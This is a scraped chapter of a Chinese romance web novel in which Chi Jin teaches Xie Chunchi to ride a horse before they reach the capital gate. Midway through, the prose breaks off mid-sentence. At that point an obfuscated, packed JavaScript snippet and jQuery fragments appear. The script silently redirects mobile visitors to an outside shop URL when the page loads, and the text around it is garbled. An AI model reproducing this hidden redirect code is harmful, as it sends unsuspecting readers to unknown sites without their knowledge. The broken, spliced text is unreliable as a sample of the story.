文趣网 > 其他小说 > 云养小妻子 > 40. 第 40 章
    谢春迟看书看得都要睡着了,驿站可算是到了。

    她伸手推了推还在假寐的池烬,这人可算拿正眼瞧她了,脸色也没刚才那般怪异了。

    甚至还率先一步下车去,温和地伸出手来,示意她搭着他的手下马车。

    “来。”池烬抬了抬下巴

    “哼。”谢春迟才不理会,“啪”一下拍开他的手,自顾自地跳下去了。

    池烬无奈看了自己的手,这姑娘脾气愈发大了。

    也是怪他方才那般态度,可那实在是无法解释。

    也罢,也罢,过会就到教她骑马的时间了。

    那便不愁没话说了。

    池烬哼笑一声,随即抬步跟了上去。

    路过季风时,还特地吩咐他去将马匹喂饱,而后到马厩牵一匹马儿过去,等会儿他要用。

    作何用呢?季严拉着季风到边上去,捂着嘴偷笑,“等会儿咱大人要教谢小姐骑马呢。”

    “哦~”季风恍然大悟,“难怪只叫我牵一匹马,等会儿正好和谢小姐共乘。”

    两人正聊得乐呵,忽地前边还未走远的池烬倏然转过头来,给了他们一记眼刀。

    他们讪讪地互相推搡着干事去了。

    “都怪你说话这么大声,都被大人听了去!”

    “分明是你这大嗓门。”

    .

    几人用完膳食后,池烬允各位在此休整一二,一个时辰后再次整队出发。

    他牵起谢春迟的手,将她往外边带:“走,说好的教你骑马儿。”

    谢春迟暗自咂了咂嘴,这人总是这样,好端端的突然坏起来,坏端端的又突然好起来。

    算了,谁叫她大人有大量呢,便不与他计较了。

    还是学骑马重要。

    待柳蕴入京,她们还可以一起玩儿呢。

    驿站的西侧处辟出了一片空地,没什么人在上边活动,草木稀疏,脚下的土却硬朗着,石子也不多,看着像是还未开发的地儿,正好他们用来学骑马。

    谢春迟正在心里数着这片地儿能找着的寥寥几棵树,她眯了眯眼,便瞧见了一棵树下有个活物在动。

    是匹枣红色的马儿,被绳子系在树旁,眼睛却炯炯有神地往他们的方向瞥。

    谢春迟低头整理了下并不乱的衣带,侧头看向池烬,眼里满是期待之色。

    池烬嘴角噙着一丝笑意:“上马吧。”

    但谢春迟怕马儿不欢迎她,等会儿她坐上去,马儿把她甩下来可怎好?

    于是她试探的伸出了一只手,缓缓靠近马儿,警惕着盯着,见马儿没有要咬她的意思,她又试探着摸了摸马儿的脑袋。

    马儿竟在她手心蹭了蹭,可乖了!

    池烬:“这马儿比较温顺,别怕。”

    谢春迟放心了,找到马蹬的位置,尝试爬上马去。

    池烬就靠在树上看她,也不来搭把手。

    “左脚踩实,手抓稳,右脚蹬地,诶你干什么!”

    马儿有些高,谢春迟左脚踩上脚蹬,右腿倒是艰难地跨过去了,可她身子还没正呢!

    就这样,她整个人都挂在马肚子旁边了,还得死死地抱住马儿的脖子,不然得摔个大跟头。

    马儿奇怪地扭头看她,还对她喷了口气。

    谢春迟脑子都乱了:“马儿是不是在笑我?”

    池烬嘴角弯了弯:“马不会笑,但我快忍不住了。”

    紧接着,池烬果真便不忍了,明目张胆地笑出了声。

    谢春迟脸都气红了:“笑什么笑,还不快一些来帮我!”

    终于,在她坚持不住要掉到地上的前一刻,肆意嘲笑她的这人可算高抬贵手,将她接住,抱下来了。

    脚落实地的那一刻,谢春迟气得一拳砸向池烬的胸口,池烬吸了一口凉气,还真挺疼。

    谢春迟板着个小脸,指着马儿,恶狠狠地命令道:“你去,示范!”

    池烬听话地示范了一遍,便被谢春迟赶到一边。

    她方才可认真观察了池烬的每一个动作,这次一定能成。

    池烬想扶她,谢春迟“哼”了一声直道不需要。

    她站在马儿的身旁,深吸一口气,学着方才的动作,一气呵成。

    谢春迟顺利的上了马,虽然这个高度叫她有些惶恐,可成功的滋味实在是好,她美滋滋地弯了弯眉,梨涡乍现。

    “池烬,接下来呢?”

    池烬退开两步,不碍着马儿的路,靠着一旁双手环胸:“你轻轻拉着缰绳抖一下即可,马儿便知晓该走了。”

    谢春迟试了一下,还算顺利。

    她前前后后重复了好几遍上马和慢走起程的动作,也渐渐适应了在马背上的高度了。

    不知多少次骑着马儿慢走后,谢春迟逐渐得心应手。

    也许不合时宜,也许又正应景,她忽然想起了话本子里,将军策马扬鞭的画面。

    “池烬,能不能让马跑起来呀?”

    池烬挑了挑眉,胆子还挺大:“你的小腿轻轻靠一下马肚子,可别使劲,一下就行。”

    “同时缰绳松一松……”

    谢春迟照着他教的学,马儿开始小跑起来。

    “嘿,我还没说完呢!”池烬无语地追了上去。

    速度有些许的快。

    ……怎么和刚才不一样了?

    “我要停下!”谢春迟咬着唇,看样子有些生无可恋。

    池烬见她表情不对,连忙教她停马,扶她下来。

    “怎么了,可有哪里不舒服?”

    谢春迟往后退了退,她……她屁股疼!

    简直难以启齿!

    然后她不说,池烬也知道。

    池烬往她身后看了眼,谢春迟还遮遮掩掩,支支吾吾。

    池烬低笑了声,伸出手去:“来,我们一起骑一遍,我教你。”

    谢春迟不想骑马了,没人告诉她还会屁股疼啊。

    可池烬又实在坚持,拉她到了马旁,她只好重新上了马。

    随后池烬也坐到了她的后边,手牵着缰绳,虚虚揽着她。

    池烬动了动,马儿小跑起来了。

    熟悉的痛感又来了,谢春迟愁眉苦脸,咬着唇愣是不敢发出声。

    谢春迟好想问一句,他骑马难道不会屁股痛吗?

    “别坐死。”池烬低下头,下巴搁在她的颈窝里,声音压着笑:“马儿跑起来的时候,你得膝盖夹紧马身,屁股借力抬起来,可不兴和它硬碰硬,不然就得像你方才那般了。”

    原来他知道。

    谢春迟脸颊泛红,救命,太太太难以启齿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774933|205809||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了!

    她尝试着池烬说的法子。

    可马儿正跑着呢,颠来颠去的,她实在起不来呀。

    “要不先……先停……”

    紧接着她惊呼一声,腰肢被池烬一把揽起。

    “感受到了不?这样就不颠了。”

    颠是不颠了,屁股也不痛了。

    可是这样可累人!

    谢春迟便照着法子这般坚持着,坚持着,实在有些无力。

    瞧着她腿都打颤了,就算瞧不到他她的正脸,也能看出她的窘迫。

    池烬没忍住笑了一下:“你做甚呢?叫你别坐死,不是完全不要坐。”

    马儿跑一会都慢下来了,她还努力抬着。

    谢春迟一愣:“还能坐实?”

    “嗯哼。”池烬见她实在累,揽着她的腰往自己身上靠了靠:“不然人家骑一天马的,腿岂不是得废了。”

    “我们换个位子,你到我后边来,我教你几个技巧。”

    换完位置后,谢春迟瞧着前边池烬,想着直接抱着他的腰不就行了,只是他会累死。

    罢了罢了,还是老老实实学技巧吧。

    .

    又上路了,谢春迟不想呆在马车了,只想趴在秘密基地的软软床榻上休息。

    池烬先前在游戏仓库里边备过好些药品,应当是初见时她那副要死的样子把池烬吓到了。

    今日谢春迟骑马的伤,也有药可用。

    腿内侧,还有臀部的伤。

    骑马太难了!

    可也真真令人开怀。

    当策马扬鞭时的快风打在脸上,发丝全然往后扬的那般快意,是她前十多年都比不了的。

    .

    离到京的日子愈发近了。

    这些天,赶路时谢春迟也不在马车了,她被池烬赶到了秘密基地去,兑现每日惩罚一、二。

    秘密基地的空地也算大,她在里边打八段锦,跑啊跳啊的倒也自在。

    池烬说到了京城要对付坏人,可得把身体锻炼好。

    正好方便她反打那些欺负她的人。

    把新政支持的那些,如今也是京城大多人所向的那些礼仪风俗思想给了解好。

    毕竟谢春迟可不愿也不会像从前那般,被困在深闺里,日日死气沉沉,连好玩的都没有,可不无聊死!

    一想起这,谢春迟真真生无可恋。

    也战战兢兢。

    这京城好歹是她生活了十多年的家,结果归来发现,除了谢家常来往的少数守旧派,她将谁也不认识,且谁也不认识她。

    噢,除了镜子里那位国师大人。

    转眼几日过去,马车行至城门口了。

    城内规矩森严,通关需检查车辆。

    池烬虽是位高权重的国师,可他也得守规矩,以身作则。

    连国师都守规矩了,那位居其下的官员,便更不得以权施压,摆官架子了。

    检查车辆时谢春迟也在车上。

    池烬道她从京郊庄子入城,不过检查便突然冒出,恐叫旁人察觉异常。

    光明正大搭乘他的车,也有回京的由头,规避一些麻烦。

    守城的侍卫拱手道一声冒犯了,便抬手掀开车帘。

    侍卫见到里边的姑娘一愣:“大人,这位是?”